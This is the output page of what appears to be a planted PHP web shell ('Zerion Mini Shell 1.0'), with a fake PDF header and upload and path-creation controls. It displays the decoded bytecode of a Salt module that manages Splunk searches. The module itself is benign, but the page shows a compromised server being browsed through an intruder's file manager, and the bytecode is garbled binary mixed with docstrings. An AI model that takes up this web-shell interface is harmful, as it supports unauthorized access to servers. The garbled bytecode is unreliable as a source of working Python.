%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/splunk_search.pyc

�
���^c@@sGdZddlmZmZmZd�Zdd�Zdd�ZdS(u
Splunk Search State Module

.. versionadded:: 2015.5.0

This state is used to ensure presence of splunk searches.

.. code-block:: yaml

    server-warning-message:
      splunk_search.present:
        - name: This is the splunk search name
        - search: index=main sourcetype=
i(tabsolute_importtunicode_literalstprint_functioncC@sdtkrdStS(uH
    Only load if the splunk_search module is available in __salt__
    usplunk_search.getu
splunk_search(t__salt__tFalse(((s=/usr/lib/python2.7/site-packages/salt/states/splunk_search.pyt__virtual__susplunkcK@s�i|d6id6dd6dd6}td|d|�}|rtdr_d	j|�|d<|Std
|d||�}|s�t|d<d|d<q�|\}}t|j�}i}	x$|D]}
|j|
d�|	|
<q�Wt|d<||dd<|	|dd
<||dd<n�tdr5dj|�|d<|Std|d||�}|r}t|d<t|dd
<||dd<nt|d<dj|�|d<|S(u1
    Ensure a search is present

    .. code-block:: yaml

        API Error Search:
          splunk_search.present:
            search: index=main sourcetype=blah
            template: alert_5min

    The following parameters are required:

    name
        This is the name of the search in splunk
    unameuchangesuresultuucommentusplunk_search.gettprofileutestuWould update {0}usplunk_search.updateu
No changesudiffuoldunewuWould create {0}usplunk_search.createuFailed to create {0}N(	tNoneRt__opts__tformattTruetdicttcontenttgetR(tnameRtkwargstretttargettresultt	newvaluestdiffstold_contenttold_changestx((s=/usr/lib/python2.7/site-packages/salt/states/splunk_search.pytpresentsH








cC@s�i|d6id6td6dj|�d6}td|d|�}|r�tdr�i}||d<d	j|�|d<d
|d<|Std
|d|�}|r�dj|�|d<q�dj|�|d<t|d<n|S(u�
    Ensure a search is absent

    .. code-block:: yaml

        API Error Search:
          splunk_search.absent

    The following parameters are required:

    name
        This is the name of the search in splunk
    unameuchangesuresultu{0} is absent.ucommentusplunk_search.getRutestuWould delete {0}usplunk_search.deleteu{0} was deleteduFailed to delete {0}N(R
R	RRRR(RRRRR((s=/usr/lib/python2.7/site-packages/salt/states/splunk_search.pytabsentZs&



N(t__doc__t
__future__RRRRRR(((s=/usr/lib/python2.7/site-packages/salt/states/splunk_search.pyt<module>s	@

Zerion Mini Shell 1.0